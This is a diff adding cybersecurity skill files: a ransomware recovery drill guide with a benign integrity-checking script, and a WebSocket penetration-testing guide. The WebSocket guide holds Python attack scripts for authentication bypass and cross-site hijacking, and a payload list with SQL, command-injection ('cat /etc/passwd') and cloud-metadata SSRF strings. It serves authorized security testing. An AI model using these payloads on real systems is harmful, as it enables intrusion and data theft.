+ T2: Restore initiated from clean backup + T3: Restore completed, integrity checks passed + T4: Application validated and service restored + + Actual RTO = T4 - T0 + Actual RPO = T0 - backup_timestamp +``` + +### Step 4: Validate Data Integrity Post-Restore + +```bash +# Compare file counts between backup manifest and restored data +find /restored/data -type f | wc -l +# Compare against pre-backup manifest + +# Verify database consistency after restore +pg_isready -h localhost -p 5432 +psql -c "SELECT count(*) FROM critical_table;" -d restored_db + +# Hash verification of critical files +sha256sum /restored/data/critical_config.xml +# Compare against known-good hash from backup manifest +``` + +### Step 5: Test Credential Rotation and Security Hardening + +After restore, validate that security controls are re-established: + +1. Rotate all service account passwords and API keys +2. Verify MFA is enabled on all administrative accounts +3. Confirm EDR/AV agents are running and reporting to management console +4. Validate firewall rules block known C2 indicators +5. Check that restored systems have latest security patches + +### Step 6: Document Results and Calculate Gap + +``` +Recovery Test Report: + System: [Name] + Tier: [1-4] + RTO Target: [target] Actual RTO: [measured] Gap: [delta] + RPO Target: [target] Actual RPO: [measured] Gap: [delta] + Data Integrity: [PASS/FAIL] + Application Validation: [PASS/FAIL] + Security Controls Restored: [PASS/FAIL] + + Status: [MEETS TARGET / EXCEEDS TARGET / FAILS TARGET] + Remediation Required: [description if FAILS] +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **RTO** | Recovery Time Objective: maximum acceptable downtime for a system after a disaster | +| **RPO** | Recovery Point Objective: maximum acceptable data loss measured in time | +| **WRT** | Work Recovery Time: time to verify system integrity after restore completes | +| **MTD** | Maximum Tolerable Downtime: absolute limit before unacceptable business impact | +| **Clean Restore Point** | A backup verified to be free of ransomware artifacts or encryption | +| **Recovery Sequencing** | The order in which interdependent systems must be restored | +| **Air-Gapped Backup** | Backup stored on media physically disconnected from the network | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| Veeam Backup & Replication | VM and physical server backup and restore | +| Commvault | Enterprise data protection and recovery orchestration | +| Rubrik | Cloud-native backup with ransomware recovery SLA | +| AWS Backup | Centralized backup for AWS services | +| Azure Backup | Microsoft cloud backup with immutable vault | +| Restic | Open-source encrypted backup tool | +| Velero | Kubernetes cluster backup and restore | + +## Common Pitfalls + +- **Not testing restores regularly**: Backups that are never tested often fail when needed. Test quarterly at minimum. +- **Ignoring recovery sequencing**: Restoring an application before its database dependency causes cascading failures. +- **Skipping credential rotation**: Restored systems may contain compromised credentials that allow re-infection. +- **Using production network for testing**: Recovery tests on production networks risk spreading simulated or real infections. +- **Measuring RTO without WRT**: Restore completion is not recovery completion. Include validation and hardening time. +- **No immutable backups**: If ransomware can encrypt or delete backups, recovery is impossible. Use air-gapped or immutable storage. + +## References + +- NIST SP 800-184: Guide for Cybersecurity Event Recovery +- CISA Ransomware Guide: https://www.cisa.gov/stopransomware +- Veeam RTO/RPO Best Practices: https://www.veeam.com/blog/recovery-time-recovery-point-objectives.html +- NIST CSF 2.0 RC.RP (Recovery Planning) diff --git a/skills/cybersecurity/testing-ransomware-recovery-procedures/references/api-reference.md b/skills/cybersecurity/testing-ransomware-recovery-procedures/references/api-reference.md new file mode 100644 index 00000000..f74c8a58 --- /dev/null +++ b/skills/cybersecurity/testing-ransomware-recovery-procedures/references/api-reference.md @@ -0,0 +1,132 @@ +# API Reference: Testing Ransomware Recovery Procedures + +## CLI Usage + +```bash +# Generate hash manifest for a directory (pre-backup baseline) +python agent.py --hash-dir /data/critical-app -o manifest_baseline.json + +# Compare original manifest against restored data +python agent.py --compare manifest_baseline.json manifest_restored.json + +# Check if a service is running after restore +python agent.py --check-service postgresql + +# Check database connectivity after restore +python agent.py --check-db postgresql:localhost:5432 + +# Run full recovery drill from config +python agent.py --config drill_config.json -o recovery_report.json +``` + +## Drill Configuration Format + +```json +{ + "systems": [ + { + "name": "core-database", + "tier": 1, + "rto_target_seconds": 3600, + "rpo_target_seconds": 900, + "backup_timestamp_epoch": 1711000000, + "restore_directory": "/restored/core-db", + "manifest_file": "/manifests/core-db-baseline.json", + "services": ["postgresql"], + "database": { + "type": "postgresql", + "host": "localhost", + "port": 5432 + } + }, + { + "name": "web-application", + "tier": 2, + "rto_target_seconds": 14400, + "rpo_target_seconds": 3600, + "restore_directory": "/restored/webapp", + "services": ["nginx", "gunicorn"] + } + ] +} +``` + +## Recovery Phases Tracked + +| Phase | Timestamp Key | Description | +|-------|--------------|-------------| +| Incident Declaration | `incident_declared` | Simulated ransomware detection time | +| Backup Identification | `backup_identified` | Clean restore point located | +| Restore Initiated | `restore_initiated` | Backup restore process started | +| Restore Completed | `restore_completed` | Data fully written to target | +| Service Restored | `service_restored` | Application validated and operational | + +## RTO/RPO Calculation + +``` +Actual RTO = service_restored - incident_declared +Actual RPO = incident_declared - backup_timestamp + +RTO Met = Actual RTO <= RTO Target +RPO Met = Actual RPO <= RPO Target +``` + +## Tier Definitions + +| Tier | RTO Range | RPO Range | System Classification | +|------|-----------|-----------|----------------------| +| 1 | < 1 hour | < 15 min | Mission-critical (AD, core DB) | +| 2 | < 4 hours | < 1 hour | Business-critical (ERP, email) | +| 3 | < 24 hours | < 4 hours | Business-operational (file shares) | +| 4 | < 72 hours | < 24 hours | Non-critical (dev/test, analytics) | + +## Hash Manifest Format + +```json +{ + "config/app.yaml": "a3f2b8c9d1e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0", + "data/users.db": "1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2", + "bin/server": "PERMISSION_DENIED" +} +``` + +## Validation Checks + +| Check | Description | Pass Criteria | +|-------|-------------|---------------| +| file_count | Files present in restored directory | count > 0 | +| integrity_check | Hash comparison vs baseline manifest | No missing or modified files | +| service_* | System service running post-restore | Service status is RUNNING/active | +| database_connectivity | Database port reachable | TCP connection succeeds | + +## Report Output Schema + +```json +{ + "report_date": "2026-03-19T12:00:00+00:00", + "drill_type": "ransomware_recovery_validation", + "systems_tested": 2, + "systems_meeting_rto": 2, + "systems_meeting_rpo": 1, + "overall_pass": false, + "results": [ + { + "system_name": "core-database", + "tier": 1, + "rto_target_seconds": 3600, + "actual_rto_seconds": 2400.5, + "rto_met": true, + "rpo_met": true, + "validations": {}, + "errors": [] + } + ] +} +``` + +## References + +- NIST SP 800-184: Guide for Cybersecurity Event Recovery +- NIST SP 800-34 Rev 1: Contingency Planning Guide +- CISA Ransomware Guide: https://www.cisa.gov/stopransomware +- Veeam Recovery Best Practices: https://www.veeam.com/blog/recovery-time-recovery-point-objectives.html diff --git a/skills/cybersecurity/testing-ransomware-recovery-procedures/scripts/agent.py b/skills/cybersecurity/testing-ransomware-recovery-procedures/scripts/agent.py new file mode 100755 index 00000000..adc31254 --- /dev/null +++ b/skills/cybersecurity/testing-ransomware-recovery-procedures/scripts/agent.py @@ -0,0 +1,316 @@ +#!/usr/bin/env python3 +"""Agent for testing and validating ransomware recovery procedures. + +Measures RTO/RPO against targets, validates backup restore integrity, +tracks recovery sequencing, and generates compliance reports. +""" + +import argparse +import hashlib +import json +import os +import subprocess +import sys +import time +from datetime import datetime, timezone +from pathlib import Path + + +class RecoveryTest: + """Represents a single system recovery test with timing and validation.""" + + def __init__(self, system_name, tier, rto_target_seconds, rpo_target_seconds): + self.system_name = system_name + self.tier = tier + self.rto_target = rto_target_seconds + self.rpo_target = rpo_target_seconds + self.timestamps = {} + self.validations = {} + self.errors = [] + + def mark(self, phase): + """Record a timestamp for a recovery phase.""" + self.timestamps[phase] = time.time() + + def validate(self, check_name, passed, detail=""): + """Record a validation result.""" + self.validations[check_name] = {"passed": passed, "detail": detail} + + def actual_rto(self): + """Calculate actual RTO from incident declaration to service restored.""" + t0 = self.timestamps.get("incident_declared") + t4 = self.timestamps.get("service_restored") + if t0 and t4: + return t4 - t0 + return None + + def actual_rpo(self, backup_timestamp_epoch): + """Calculate actual RPO from last backup to incident declaration.""" + t0 = self.timestamps.get("incident_declared") + if t0 and backup_timestamp_epoch: + return t0 - backup_timestamp_epoch + return None + + def to_dict(self, backup_timestamp_epoch=None): + rto = self.actual_rto() + rpo = self.actual_rpo(backup_timestamp_epoch) + return { + "system_name": self.system_name, + "tier": self.tier, + "rto_target_seconds": self.rto_target, + "rpo_target_seconds": self.rpo_target, + "actual_rto_seconds": round(rto, 2) if rto else None, + "actual_rpo_seconds": round(rpo, 2) if rpo else None, + "rto_met": rto <= self.rto_target if rto else None, + "rpo_met": rpo <= self.rpo_target if rpo else None, + "timestamps": { + k: datetime.fromtimestamp(v, tz=timezone.utc).isoformat() + for k, v in self.timestamps.items() + }, + "validations": self.validations, + "errors": self.errors, + } + + +def compute_file_hashes(directory, algorithm="sha256"): + """Compute hashes for all files in a directory for integrity verification.""" + hashes = {} + dir_path = Path(directory) + if not dir_path.is_dir(): + return {"error": f"Directory not found: {directory}"} + + for fpath in sorted(dir_path.rglob("*")): + if fpath.is_file(): + h = hashlib.new(algorithm) + try: + with open(fpath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + h.update(chunk) + rel = str(fpath.relative_to(dir_path)) + hashes[rel] = h.hexdigest() + except PermissionError: + hashes[str(fpath.relative_to(dir_path))] = "PERMISSION_DENIED" + return hashes + + +def compare_manifests(original_manifest, restored_manifest): + """Compare two hash manifests to detect missing, added, or changed files.""" + missing = [] + modified = [] + added = [] + + for fname, orig_hash in original_manifest.items(): + if fname not in restored_manifest: + missing.append(fname) + elif restored_manifest[fname] != orig_hash: + modified.append(fname) + + for fname in restored_manifest: + if fname not in original_manifest: + added.append(fname) + + return { + "total_original": len(original_manifest), + "total_restored": len(restored_manifest), + "missing_files": missing, + "modified_files": modified, + "added_files": added, + "integrity_pass": len(missing) == 0 and len(modified) == 0, + } + + +def check_service_health(service_name): + """Check if a service is running and responsive.""" + if sys.platform == "win32": + try: + result = subprocess.run( + ["sc", "query", service_name], + capture_output=True, text=True, timeout=10 + ) + running = "RUNNING" in result.stdout + return {"service": service_name, "running": running, "platform": "windows"} + except (subprocess.SubprocessError, FileNotFoundError): + return {"service": service_name, "running": False, "error": "check failed"} + else: + try: + result = subprocess.run( + ["systemctl", "is-active", service_name], + capture_output=True, text=True, timeout=10 + ) + active = result.stdout.strip() == "active" + return {"service": service_name, "running": active, "platform": "linux"} + except (subprocess.SubprocessError, FileNotFoundError): + return {"service": service_name, "running": False, "error": "check failed"} + + +def check_database_connectivity(db_type, host="localhost", port=None): + """Verify database is accessible after restore.""" + ports = {"postgresql": 5432, "mysql": 3306, "mssql": 1433} + port = port or ports.get(db_type, 5432) + + import socket + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + try: + result = sock.connect_ex((host, port)) + return { + "database": db_type, + "host": host, + "port": port, + "reachable": result == 0, + } + except socket.error as e: + return {"database": db_type, "host": host, "port": port, "reachable": False, + "error": str(e)} + finally: + sock.close() + + +def run_recovery_drill(config): + """Execute a recovery drill based on a configuration dict.""" + results = [] + + for system in config.get("systems", []): + test = RecoveryTest( + system_name=system["name"], + tier=system.get("tier", 3), + rto_target_seconds=system.get("rto_target_seconds", 14400), + rpo_target_seconds=system.get("rpo_target_seconds", 3600), + ) + + test.mark("incident_declared") + print(f"[*] Recovery drill started for: {system['name']}") + + # Phase: Locate backup + test.mark("backup_identified") + backup_ts = system.get("backup_timestamp_epoch", time.time() - 3600) + + # Phase: Validate restore directory if provided + restore_dir = system.get("restore_directory") + if restore_dir and os.path.isdir(restore_dir): + test.mark("restore_initiated") + hashes = compute_file_hashes(restore_dir) + file_count = len([v for v in hashes.values() if v != "PERMISSION_DENIED"]) + test.validate("file_count", file_count > 0, + f"{file_count} files found in restored directory") + test.mark("restore_completed") + + # Compare with manifest if provided + manifest_path = system.get("manifest_file") + if manifest_path and os.path.isfile(manifest_path): + with open(manifest_path, "r") as f: + original_manifest = json.load(f) + comparison = compare_manifests(original_manifest, hashes) + test.validate("integrity_check", comparison["integrity_pass"], + json.dumps(comparison, indent=2)) + else: + test.validate("restore_directory", False, + f"Directory not found: {restore_dir}") + + # Phase: Check services + for svc in system.get("services", []): + health = check_service_health(svc) + test.validate(f"service_{svc}", health.get("running", False), + json.dumps(health)) + + # Phase: Check database + db = system.get("database") + if db: + db_check = check_database_connectivity( + db.get("type", "postgresql"), + db.get("host", "localhost"), + db.get("port"), + ) + test.validate("database_connectivity", db_check["reachable"], + json.dumps(db_check)) + + test.mark("service_restored") + results.append(test.to_dict(backup_ts)) + print(f"[*] Recovery drill completed for: {system['name']}") + + return results + + +def generate_report(results, output_path=None): + """Generate a recovery test report.""" + report = { + "report_date": datetime.now(timezone.utc).isoformat(), + "drill_type": "ransomware_recovery_validation", + "systems_tested": len(results), + "systems_meeting_rto": sum(1 for r in results if r.get("rto_met")), + "systems_meeting_rpo": sum(1 for r in results if r.get("rpo_met")), + "overall_pass": all( + r.get("rto_met") and r.get("rpo_met") for r in results + if r.get("rto_met") is not None + ), + "results": results, + } + + if output_path: + with open(output_path, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {output_path}") + + return report + + +def main(): + parser = argparse.ArgumentParser( + description="Ransomware Recovery Procedure Testing Agent" + ) + parser.add_argument("--config", help="JSON config file for recovery drill") + parser.add_argument("--hash-dir", help="Compute file hashes for a directory") + parser.add_argument("--compare", nargs=2, metavar=("ORIGINAL", "RESTORED"), + help="Compare two hash manifest JSON files") + parser.add_argument("--check-service", help="Check if a system service is running") + parser.add_argument("--check-db", help="Check database connectivity (type:host:port)") + parser.add_argument("--output", "-o", help="Output report file path") + args = parser.parse_args() + + print("[*] Ransomware Recovery Procedure Testing Agent") + + if args.hash_dir: + hashes = compute_file_hashes(args.hash_dir) + print(json.dumps(hashes, indent=2)) + if args.output: + with open(args.output, "w") as f: + json.dump(hashes, f, indent=2) + print(f"[*] Hash manifest saved to {args.output}") + return + + if args.compare: + with open(args.compare[0], "r") as f: + orig = json.load(f) + with open(args.compare[1], "r") as f: + restored = json.load(f) + result = compare_manifests(orig, restored) + print(json.dumps(result, indent=2)) + return + + if args.check_service: + result = check_service_health(args.check_service) + print(json.dumps(result, indent=2)) + return + + if args.check_db: + parts = args.check_db.split(":") + db_type = parts[0] + host = parts[1] if len(parts) > 1 else "localhost" + port = int(parts[2]) if len(parts) > 2 else None + result = check_database_connectivity(db_type, host, port) + print(json.dumps(result, indent=2)) + return + + if args.config: + with open(args.config, "r") as f: + config = json.load(f) + results = run_recovery_drill(config) + report = generate_report(results, args.output) + print(json.dumps(report, indent=2)) + return + + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/testing-websocket-api-security/LICENSE b/skills/cybersecurity/testing-websocket-api-security/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/testing-websocket-api-security/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/testing-websocket-api-security/SKILL.md b/skills/cybersecurity/testing-websocket-api-security/SKILL.md new file mode 100644 index 00000000..0ed5a6c2 --- /dev/null +++ b/skills/cybersecurity/testing-websocket-api-security/SKILL.md @@ -0,0 +1,451 @@ +--- +name: testing-websocket-api-security +description: 'Tests WebSocket API implementations for security vulnerabilities including + missing authentication on WebSocket upgrade, Cross-Site WebSocket Hijacking (CSWSH), + injection attacks through WebSocket messages, insufficient input validation, denial-of-service + via message flooding, and information leakage through WebSocket frames. The tester + intercepts WebSocket handshakes and messages using Burp Suite, crafts malicious + payloads, and tests for authorization bypass on WebSocket channels. Activates for + requests involving WebSocket security testing, WS penetration testing, CSWSH attack, + or real-time API security assessment. + + ' +domain: cybersecurity +subdomain: api-security +tags: +- api-security +- websocket +- cswsh +- real-time +- injection +- authentication +version: 1.0.0 +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1059.007 +- T1552.001 +- T1055 +- T1059 +--- +# Testing WebSocket API Security + +## When to Use + +- Assessing real-time communication APIs that use WebSocket (ws://) or Secure WebSocket (wss://) protocols +- Testing for Cross-Site WebSocket Hijacking (CSWSH) where an attacker's page connects to a legitimate WebSocket server +- Evaluating authentication and authorization enforcement on WebSocket connections and messages +- Testing input validation on WebSocket message payloads for injection vulnerabilities +- Assessing WebSocket implementations for denial-of-service through message flooding or oversized frames + +**Do not use** without written authorization. WebSocket testing may disrupt real-time services and affect other connected users. + +## Prerequisites + +- Written authorization specifying the WebSocket endpoint and testing scope +- Burp Suite Professional with WebSocket interception capability +- Python 3.10+ with `websockets` and `asyncio` libraries +- Browser developer tools for observing WebSocket handshakes and frames +- wscat CLI tool for manual WebSocket interaction: `npm install -g wscat` +- Knowledge of the WebSocket subprotocol in use (JSON-RPC, STOMP, custom) + +## Workflow + +### Step 1: WebSocket Endpoint Discovery and Handshake Analysis + +```python +import asyncio +import websockets +import json +import ssl +import time + +WS_URL = "wss://target-api.example.com/ws" +AUTH_TOKEN = "Bearer " + +# Capture and analyze the WebSocket handshake +async def analyze_handshake(): + """Analyze WebSocket upgrade request and response headers.""" + try: + async with websockets.connect( + WS_URL, + extra_headers={"Authorization": AUTH_TOKEN}, + ssl=ssl.create_default_context() + ) as ws: + print(f"Connected to: {WS_URL}") + print(f"Protocol: {ws.subprotocol}") + print(f"Extensions: {ws.extensions}") + + # Send a test message + test_msg = json.dumps({"type": "ping"}) + await ws.send(test_msg) + response = await asyncio.wait_for(ws.recv(), timeout=5) + print(f"Server response: {response}") + + return True + except websockets.exceptions.InvalidStatusCode as e: + print(f"Connection rejected: {e.status_code}") + return False + except Exception as e: + print(f"Connection error: {e}") + return False + +asyncio.run(analyze_handshake()) +``` + +### Step 2: Authentication and Authorization Testing + +```python +async def test_ws_authentication(): + """Test if WebSocket requires authentication.""" + results = [] + + # Test 1: Connect without any authentication + try: + async with websockets.connect(WS_URL) as ws: + await ws.send(json.dumps({"type": "get_user_data"})) + resp = await asyncio.wait_for(ws.recv(), timeout=5) + results.append({ + "test": "No authentication", + "status": "VULNERABLE", + "response": resp[:200] + }) + print(f"[VULN] WebSocket accessible without authentication") + except websockets.exceptions.InvalidStatusCode: + results.append({"test": "No authentication", "status": "SECURE"}) + except Exception as e: + results.append({"test": "No authentication", "status": f"ERROR: {e}"}) + + # Test 2: Connect with invalid token + try: + async with websockets.connect(WS_URL, + extra_headers={"Authorization": "Bearer invalid_token"}) as ws: + await ws.send(json.dumps({"type": "get_user_data"})) + resp = await asyncio.wait_for(ws.recv(), timeout=5) + results.append({ + "test": "Invalid token", + "status": "VULNERABLE", + "response": resp[:200] + }) + except websockets.exceptions.InvalidStatusCode: + results.append({"test": "Invalid token", "status": "SECURE"}) + except Exception as e: + results.append({"test": "Invalid token", "status": f"ERROR: {e}"}) + + # Test 3: Connect with expired token + expired_token = "Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired" + try: + async with websockets.connect(WS_URL, + extra_headers={"Authorization": expired_token}) as ws: + await ws.send(json.dumps({"type": "get_user_data"})) + resp = await asyncio.wait_for(ws.recv(), timeout=5) + results.append({"test": "Expired token", "status": "VULNERABLE"}) + except (websockets.exceptions.InvalidStatusCode, Exception): + results.append({"test": "Expired token", "status": "SECURE"}) + + # Test 4: Token in query parameter (leakage risk) + try: + async with websockets.connect(f"{WS_URL}?token={AUTH_TOKEN}") as ws: + await ws.send(json.dumps({"type": "ping"})) + resp = await asyncio.wait_for(ws.recv(), timeout=5) + results.append({ + "test": "Token in URL", + "status": "INFO - Token accepted in query parameter (may leak in logs)" + }) + except Exception: + results.append({"test": "Token in URL", "status": "REJECTED"}) + + for r in results: + print(f" [{r['status'][:10]}] {r['test']}") + + return results + +asyncio.run(test_ws_authentication()) +``` + +### Step 3: Cross-Site WebSocket Hijacking (CSWSH) Testing + +```python +async def test_cswsh(): + """Test for Cross-Site WebSocket Hijacking vulnerability.""" + # CSWSH occurs when the WebSocket server does not validate the Origin header + # An attacker's website can connect to the legitimate WebSocket and steal data + + origins_to_test = [ + None, # No Origin header + "https://evil.com", # Attacker domain + "https://target-api.example.com.evil.com", # Subdomain confusion + "null", # Null origin (sandboxed iframe) + "https://target-api.example.com", # Legitimate origin + "http://target-api.example.com", # HTTP downgrade + ] + + print("=== CSWSH Testing ===\n") + for origin in origins_to_test: + try: + headers = {"Authorization": AUTH_TOKEN} + if origin: + headers["Origin"] = origin + + async with websockets.connect(WS_URL, extra_headers=headers) as ws: + # Try to receive data that should be restricted + await ws.send(json.dumps({"type": "get_messages"})) + resp = await asyncio.wait_for(ws.recv(), timeout=5) + + if origin and origin != "https://target-api.example.com": + print(f"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)") + else: + print(f"[OK] Origin '{origin}' -> Accepted (legitimate)") + except websockets.exceptions.InvalidStatusCode as e: + print(f"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})") + except Exception as e: + print(f"[ERROR] Origin '{origin}' -> {e}") + +asyncio.run(test_cswsh()) + +# PoC HTML page for CSWSH exploitation +CSWSH_POC = """ + + +CSWSH PoC + + +

    Loading... (CSWSH attack in progress)

    + + +""" +``` + +### Step 4: WebSocket Message Injection Testing + +```python +async def test_ws_injection(): + """Test WebSocket messages for injection vulnerabilities.""" + + INJECTION_PAYLOADS = { + "sql": [ + {"type": "search", "query": "' OR '1'='1"}, + {"type": "search", "query": "'; DROP TABLE messages;--"}, + {"type": "get_message", "id": "1 UNION SELECT username,password FROM users--"}, + ], + "nosql": [ + {"type": "search", "query": {"$ne": ""}}, + {"type": "get_user", "filter": {"$gt": ""}}, + ], + "xss": [ + {"type": "send_message", "content": ""}, + {"type": "send_message", "content": ""}, + {"type": "update_name", "name": "Test"}, + ], + "command": [ + {"type": "process", "file": "test; cat /etc/passwd"}, + {"type": "convert", "input": "test | id"}, + ], + "ssrf": [ + {"type": "load_url", "url": "http://169.254.169.254/latest/meta-data/"}, + {"type": "webhook", "callback": "http://localhost:6379/"}, + ], + "overflow": [ + {"type": "send_message", "content": "A" * 100000}, + {"type": "search", "query": "B" * 1000000}, + ], + } + + async with websockets.connect(WS_URL, + extra_headers={"Authorization": AUTH_TOKEN}) as ws: + + for category, payloads in INJECTION_PAYLOADS.items(): + for payload in payloads: + try: + await ws.send(json.dumps(payload)) + resp = await asyncio.wait_for(ws.recv(), timeout=5) + + # Analyze response for injection indicators + resp_lower = resp.lower() + indicators = [] + if any(kw in resp_lower for kw in ["sql", "syntax", "mysql", "postgresql"]): + indicators.append("SQL error") + if any(kw in resp_lower for kw in ["root:", "uid=", "etc/passwd"]): + indicators.append("Command output") + if any(kw in resp_lower for kw in ["ami-id", "instance-id", "metadata"]): + indicators.append("SSRF data") + if "script" in resp_lower and "xss" not in category: + indicators.append("Reflected XSS") + + if indicators: + print(f"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}") + elif len(resp) > 10000: + print(f"[OVERFLOW] Large response: {len(resp)} bytes") + except asyncio.TimeoutError: + pass + except websockets.exceptions.ConnectionClosed: + print(f"[CRASH] Connection closed after {category} payload") + # Reconnect + break + +asyncio.run(test_ws_injection()) +``` + 